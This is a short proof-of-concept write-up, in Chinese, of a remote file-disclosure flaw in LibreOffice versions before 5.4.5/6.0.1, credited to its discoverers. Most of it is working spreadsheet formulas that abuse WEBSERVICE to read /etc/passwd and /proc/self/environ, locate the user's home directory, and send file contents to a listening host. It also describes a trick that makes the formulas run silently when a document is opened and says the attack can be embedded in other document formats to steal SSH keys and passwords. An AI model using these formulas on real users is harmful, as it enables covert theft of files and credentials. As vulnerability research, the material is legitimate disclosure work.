
Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
LibreOffice 支持 COM.MICROSOFT.WEBSERVICE 函数:
https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4
该函数用于通过 URL 获取数据,通常用法如下:
=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")
官方原文:
对于不支持的协议(如 ftp: // 或 file: //),WEBSERVICE 返回 #VALUE! 错误值。
在 LibreOffice 中,这些限制在 5.4.5/6.0.1 之前并未实现。
默认情况下,单元格不会更新,但如果您将单元格类型指定为 ~error,则在打开文档时该单元格会被更新。
要读取文件,只需:
=WEBSERVICE("/etc/passwd")
该函数还可用于发送文件:
=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))
要成功利用,您需要发送当前用户的文件,因此需要获取当前用户的主目录路径。
=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",
您还可以解析其他文件,例如 ~/.ssh/config 之类的文件。
对于 LibreOffice Calc 以外的格式,您只需将 calc 对象嵌入其他文档即可(我已验证可行)。
可以轻松发送包含密钥、密码及其他任何内容的文件。成功率 100%,完全静默,影响所有操作系统(GNU/Linux、MS Windows、macOS 等)上早于 5.4.5/6.0.1 的 LibreOffice,并且几乎可以嵌入 LO 支持的所有格式中。
该漏洞由我(@jollheef)与 Ronnie Goodrich、Andrew Krasichkov 独立发现(根据 LibreOffice 团队说明)。